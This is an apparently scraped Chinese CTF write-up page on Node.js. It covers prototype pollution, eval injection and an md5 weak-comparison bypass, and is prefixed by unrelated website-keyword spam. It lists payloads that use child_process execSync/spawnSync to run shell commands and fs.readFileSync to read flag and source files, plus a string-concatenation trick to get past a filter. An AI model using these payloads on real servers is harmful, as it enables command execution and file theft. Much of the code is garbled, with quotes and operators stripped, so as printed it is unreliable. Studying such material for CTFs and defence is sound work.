绵阳网站开发公司,乐山住房和城乡建设厅网站,做电子芯片的有那些交易网站,深圳网站建设公司哪家最好1.prototype是一个类的属性#xff0c;所有类对象在实例化的时候将会拥有prototype中的属性和方法2.一个对象的proto属性#xff0c;指向这个对象所在的类的prototype属性1.每个构造函数(constructor)都有一个原型对象(prototype)2.对象的proto属性#xff0c;指向类的原型对…1.prototype是一个类的属性所有类对象在实例化的时候将会拥有prototype中的属性和方法2.一个对象的proto属性指向这个对象所在的类的prototype属性1.每个构造函数(constructor)都有一个原型对象(prototype)2.对象的proto属性指向类的原型对象prototype3.JavaScript使用prototype链实现继承机制 我们思考一下哪些情况下我们可以设置proto的值呢其实找找能够控制数组对象的“键名”的操作即可 1.对象merge 2.对象clone其实内核就是将待操作的对象merge到一个空对象中 JSON解析的情况下proto会被认为是一个真正的“键名”而不代表“原型”所以在遍历o2的时候会存在这个键。 深入理解JavaScript Prototype污染攻击
P神文章 1.猜测题目中的代码为eval(xxx)xxx为我们传入的内容eval中可以执行js代码那么就可以执行系统命令了。
方法一
require(child_process).execSync(ls /).toString()
require( child_process ).spawnSync( ls, [ / ] ).stdout.toString()
require( child_process ).spawnSync( cat, [ f* ] ).stdout.toString()方法二
require(fs).readFileSync(/app/routes/index.js,utf-8)#这个可以读取文件require(fs).readdirSync(./) //列出当前目录下的文件
require(fs).readFileSync(fl001g.txt,utf-8)
2.过滤exe 可以用[]代替. 用‘’绕过
payload %2B为加号require(child_process)[e%2bxecSync](cat f*).toString() 3.JS弱比较
var express require(express);
var router express.Router();
var crypto require(crypto);function md5(s) {return crypto.createHash(md5).update(s).digest(hex);
}/* GET home page. */
router.get(/, function(req, res, next) {res.type(html);var flagxxxxxxx;var a req.query.a;var b req.query.b;if(a b a.lengthb.length a!b md5(aflag)md5(bflag)){res.end(flag);}else{res.render(index,{ msg: tql});}});module.exports router;
payload:a[x]1b[x]2a[]1b[]1a[a]1b[a]2a[1]1b1
1解释
a{:1}
b{:2}
const c [1];
const d [2];console.log(aflag)
console.log(bflag)
console.log(cflag)
console.log(dflag)//回显
[object Object]flag
[object Object]flag
1flag
2flag
2
a{a:1}
b{a:2}console.log(aflag)
console.log(bflag)
//回显
[object Object]flag
[object Object]flag
3
console.log(5[6,6]); //56,6
console.log(56); //56
console.log(5[6,6]); //56,6
console.log(5[6,6]); //56,6